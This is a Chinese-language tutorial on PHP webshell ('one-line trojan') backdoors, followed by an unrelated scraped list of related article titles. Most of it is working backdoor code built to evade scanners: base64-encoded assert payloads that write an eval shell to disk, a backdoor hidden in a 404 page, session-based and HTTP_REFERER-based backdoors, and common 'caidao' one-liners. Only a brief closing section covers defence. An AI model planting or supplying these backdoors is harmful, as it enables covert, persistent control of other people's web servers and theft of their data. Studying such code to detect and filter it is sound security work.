在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。

一句话木马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。

一、原理简述

对于不同的语言有不同的构造方法。

基本构造:最开头构造的是脚本开始的标记

核心部分:获取并执行得到的内容,通常类似eval、execute等

被执行内容:一般是http等协议接受的值,通常类似request、$_POST等

如果我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。

/*asp一句话木马*/

/*php一句话木马*/

/*aspx一句话木马*/

黑帽子的目的,就是想尽办法给目标网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(.asp 、.php、.aspx ),或者是隐藏在某些网页下的文件、代码等。其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。也会涉及到一些任意文件上传漏洞等。

二、简单变形

很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简单变形不出现eval:

同理,传给a值为 @base64_decode(base64编码过后的eval)。

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:

?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};

执行后当前目录生成c.php文件并写入一句话木马,这已经算是一个非常隐蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。

三、变形改良

1.404页面隐藏木马

404 Not Found

Not Found

The requested URL was not found on this server.

@preg_replace("/[pageerror]/e",$_POST['error'],"saft");

header('HTTP/1.1 404 Not Found');

?>

一般404页面放好后,很少有人会定期对404页面进行检查和修改。如果在404页面挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。

2.无特征隐藏PHP后门

利用session:

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

利用$_SEESION变量来绕过扫描,将$_POST['code']赋值给$_SESSION['theCode'],然后eval执行SESSION的内容。

利用HTTP_REFERER:

利用请求中的HTTP_REFERER来运行经过base64编码的代码,达到后门的效果,使用两个文件。

//1.php

header('Content-type:text/html;charset=utf-8');

parse_str($_SERVER['HTTP_REFERER'], $a);

if(reset($a) == '10' && count($a) == 9) {

eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));

}

//2.php

header('Content-type:text/html;charset=utf-8');

//要执行的代码

$code = <<

phpinfo();

CODE;

//进行base64编码

$code = base64_encode($code);

//构造referer字符串

$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";

//后门url

$url = 'http://localhost/test1/1.php';

$ch = curl_init();

$options = [

CURLOPT_URL => $url,

CURLOPT_HEADER => FALSE,

CURLOPT_RETURNTRANSFER => TRUE,

CURLOPT_REFERER => $referer

];

curl_setopt_array($ch, $options);

echo curl_exec($ch);

访问2.php,会构造一个会话,进到后门1.php那里。然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。

3.常见的后门

//菜刀一句话

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";

$hh("/[discuz]/e",$_POST['h'],"Access");

//危险的include函数,直接编译任何文件为php格式运行

$filename=$_GET['xbid'];

include ($filename);

//重命名任何文件

$reg="c"."o"."p"."y";

$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);

//菜刀一句话

$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";

$gzid("/[discuz]/e",$_POST['h'],"Access");

//gif插一句话

//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif

include ($uid);

//典型一句话

//使用lanker一句话客户端的专家模式执行相关的php语句

$_POST['a']($_POST['b']);?>

$_POST['a']($_POST['b'],$_POST['c'])?>

//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入

h=@eval_r($_POST1);

//绕过<?限制的一句话

四、攻防

攻方:利用各种各样的绕过姿势,都是试图让扫描工具无效。

守方:分析各种各样的函数,寻找有效的特征码来防止后门。

黑帽子大牛:深入web框架内核,挖掘出代码缺陷,构造出复杂的后门利用。

安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,构造合适的过滤器。

语义分析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未经过滤就得到了执行,或是进入数据库中。

针对超全局变量进行语义分析:

$_GET

$_POST

$_REQUEST

$_SERVER

$_FILES

$_COOKIE

$_SESSION

$_ENV

$GLOBALS

php一句话怎么写_PHP一句话木马后门相关推荐

  1. php一句话怎么写_php型一句话木马怎么写

    php型一句话木马怎么写? PHP一句话木马 一: 关于PHP的一句话木马:<?php $a=$_POST['H']; eval("$a");//eval会将输入的$a作为p ...

  2. linux中 在文件中写入一句话怎么写_Linux一句话命令

    1.删除0字节文件 find -type f -size 0 -exec rm -rf {} \; 2.查看进程 按内存从大到小排列 ps -e  -o "%C  : %p : %z : % ...

  3. php一句话图片木马过滤_php一句话图片木马怎么解析

    一句话木马解析 首先,学习渗透时,木马大概也就三种:大马.小马.一句话. 常见的一句话:<?php @eval($_POST['x'])?> 这个应该是最常见的了...看一下他的组成. 首 ...

  4. 阿里云提醒 网站被WebShell木马后门的处理过程

    昨晚凌晨收到新客户的安全求助,说是阿里云短信提示,网站有webshell木马文件被植入,我们SINE安全公司立即成立,安全应急响应小组,客户提供了阿里云的账号密码,随即登陆阿里云进去查看到详情,登陆云 ...

  5. phpcms做的网站总是被植入木马后门快照劫持

    我相信很多用过phpcms v9版本的开源代码做过网站的站长或企业最烦恼的就是网站经常被反复篡改入侵,导致快照收录被劫持,收录一些与网站不相关的内容,黑客的攻击手法也越来越高级,我们SINE安全在接到 ...

  6. C语言 linux 木马,C语言写病毒,木马

    以前在网吧花了大投资的游戏账号被心痛的盗过一次,于是到了大学就傻逼傻逼的想写病毒,木马,出出风头,然后到处到处搜索,相关方法,以为这样就能写出病毒木马.一直持续到前段日子,偶尔看到一本关于杀毒软件是怎 ...

  7. 网络安全学习--014--木马及木马后门的讲解,webshell箱子溯源追踪

    提示:本文所讨论的技术仅用于研究学习,旨在提高大家信息安全意识,任何人不得将其用于非法目的. @木马及木马后门的讲解,webshell箱子溯源追踪 一:webshell制作原理 webshell:即w ...

  8. 后门怎么写隐蔽java_用Java写黑软-后门篇

    这次我给大家带来的是<用Java写黑软-后门篇>,目前我在网上还没有找到哪位高手把自己写的java后门公布出来,有的也多是些恶搞的东西,所以这次我就来献献丑了. 先来一段理论的东西,后门, ...

  9. mysql数据库木马查杀_Linux系统木马后门查杀方法详解

    木马和后门的查杀是系统管理员一项长期需要坚持的工作,切不可掉以轻心.以下从几个方面在说明Linux系统环境安排配置防范和木马后门查杀的方法: 一.Web Server(以Nginx为例) 1.为防止跨 ...

最新文章

  1. tensorflow-计算图
  2. 【Eclipse】Java Compiler没有Annotaion Processing, 需要安装Eclipse Java Development Tools
  3. flume案例-flume级联-配置文件编写
  4. c++ 绘制函数图像_图像轮廓和分水岭算法
  5. [python爬虫] Selenium常见元素定位方法和操作的学习介绍(转载)
  6. okhttp 工具类_日语学习工具推荐,小白必备!
  7. python统计输入学生的总分和平均分_C输入函数和成绩显示函数并计算每位同学总分和平均分对成绩排名输出.doc...
  8. Google Adwords 关键字策略 – SEO数据搭配
  9. mysql 并发数 任务调度_mysql的计划任务与事件调度实例分析
  10. java char 8192_java.net.ProtocolException:预期229个字节,但收到8192
  11. 8.PHP核心技术与最佳实践 --- 缓存
  12. ubuntu生成pem证书连接服务器(已验证)
  13. 微信小程序 指纹识别
  14. emacs ido模式
  15. linux log4cxx 静态库,log4cxx的个人实践
  16. Jvav语言(0.1)版
  17. 圣地亚哥911警用呼叫中心响应时间平均5秒
  18. 【华为OD机试 2023】 数组合并(C++ Java JavaScript Python)
  19. WEB端支付宝接入----统一收单下单并支付页面接口
  20. oracle中查询当前系统时间用到的dual是什么?

热门文章

  1. oracle10数据库链接失败,Oracle10g出现Enterprise Manager 无法连接到数据库实例解决办法...
  2. 乐高机器人亮剑_2500名选手大比拼 全球机器人广州从化“亮剑”
  3. 运用python的方式_对Python使用mfcc的两种方式详解
  4. mcq 队列_MCQ | 软件程序分析工具和组件分类| 免费和开源软件
  5. c# 小程序支付后台示例_C中的#if指令示例| C预处理程序
  6. SpringBoot 优雅的参数效验!
  7. MyBatis 的执行流程,学废了!
  8. 富编译器汇总及二次开发Demo
  9. IMP-00002: 无法打开 D:\orcldat\test_20111024.dmp 进行读取,rman备份
  10. python RSA加密、解密、签名